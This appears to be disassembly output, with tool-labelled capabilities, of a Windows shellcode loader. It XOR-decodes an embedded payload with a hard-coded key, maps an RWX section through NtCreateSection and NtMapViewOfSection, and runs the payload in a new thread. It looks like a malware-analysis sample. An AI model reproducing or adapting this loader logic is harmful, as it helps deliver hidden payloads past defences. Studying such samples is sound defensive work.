Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.0040e1b0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x28
push eax
call fcn.00404332
add esp, 8
test eax, eax
jne 0x40104e
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040130a
mov esp, ebp
pop ebp
ret
push esi
movups xmm0, xmmword [str.3Q2W456789SFGHJK_asdfgh]
push edi
mov ecx, 0x1db
mov ax, word [0x413d14]
mov esi, 0x413d68
mov dword [ebp - 0x888], 0
lea edi, [ebp - 0x1020]
mov word [ebp - 0x898], ax
rep movsd dword es:[edi], dword [esi]
movups xmmword [ebp - 0x8b0], xmm0
movq xmm0, qword [0x413d0c]
movsw word es:[edi], word [esi]
lea esi, [ebp - 0x8b0]
movq qword [ebp - 0x8a0], xmm0
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4010a2
push ebx
push 0x76e
lea eax, [ebp - 0x878]
sub esi, ecx
push 0
push eax
call fcn.00402370
add esp, 0xc
mov dword [ebp - 0x890], 4
xor ecx, ecx
mov dword [ebp - 0x87c], 3
lea ebx, [ecx + 5]
lea edi, [ecx + 2]
nop
xor edx, edx
mov eax, ecx
div esi
movzx eax, byte [ebp + edx - 0x8b0]
xor edx, edx
xor al, byte [ebp + ecx - 0x1020]
mov byte [ebp + ecx - 0x878], al
lea eax, [edi - 1]
div esi
movzx eax, byte [ebp + edx - 0x8b0]
xor edx, edx
xor al, byte [ebp + ecx - 0x101f]
mov byte [ebp + ecx - 0x877], al
mov eax, edi
div esi
movzx eax, byte [ebp + edx - 0x8b0]
xor al, byte [ebp + edi - 0x1020]
add edi, 6
mov edx, dword [ebp - 0x87c]
mov byte [ebp + edx - 0x879], al
mov eax, edx
xor edx, edx
div esi
movzx eax, byte [ebp + edx - 0x8b0]
mov edx, dword [ebp - 0x87c]
add dword [ebp - 0x87c], 6
xor al, byte [ebp + edx - 0x1020]
mov edx, dword [ebp - 0x890]
mov byte [ebp + edx - 0x879], al
mov eax, edx
xor edx, edx
div esi
movzx eax, byte [ebp + edx - 0x8b0]
mov edx, dword [ebp - 0x890]
add dword [ebp - 0x890], 6
xor al, byte [ebp + edx - 0x1020]
xor edx, edx
mov byte [ebp + ebx - 0x879], al
mov eax, ebx
div esi
movzx eax, byte [ebp + edx - 0x8b0]
xor al, byte [ebp + ebx - 0x1020]
add ebx, 6
mov byte [ebp + ecx - 0x873], al
add ecx, 6
cmp edi, 0x770
jb 0x4010e0
push str.ntdll.dll
mov dword [ebp - 0x87c], 0x1000
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov dword [ebp - 0x890], ebx
test ebx, ebx
je 0x4012f6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtCreateSection
push ebx
call esi
push str.NtMapViewOfSection
push ebx
mov edi, eax
call esi
push str.NtUnmapViewOfSection
push dword [ebp - 0x890]
mov ebx, eax
call esi
push str.NtClose
push dword [ebp - 0x890]
mov dword [ebp - 0x894], eax
call esi
push 0
push 0x8000000
push 0x40
mov dword [ebp - 0x890], eax
lea eax, [ebp - 0x884]
push eax
push 0
push 0xe
lea eax, [ebp - 0x88c]
mov dword [ebp - 0x880], 0
push eax
mov dword [ebp - 0x884], 0x1000
call edi
push 0x40
push 0
push 1
lea eax, [ebp - 0x87c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x888]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x88c]
call ebx
mov edi, dword [ebp - 0x888]
lea esi, [ebp - 0x878]
mov ecx, 0x1db
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
movsw word es:[edi], word [esi]
push dword [ebp - 0x888]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x4012f6
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x888]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 0x894]
push dword [ebp - 0x88c]
call dword [ebp - 0x890]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040130a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040130a
mov esp, ebp
pop ebp
ret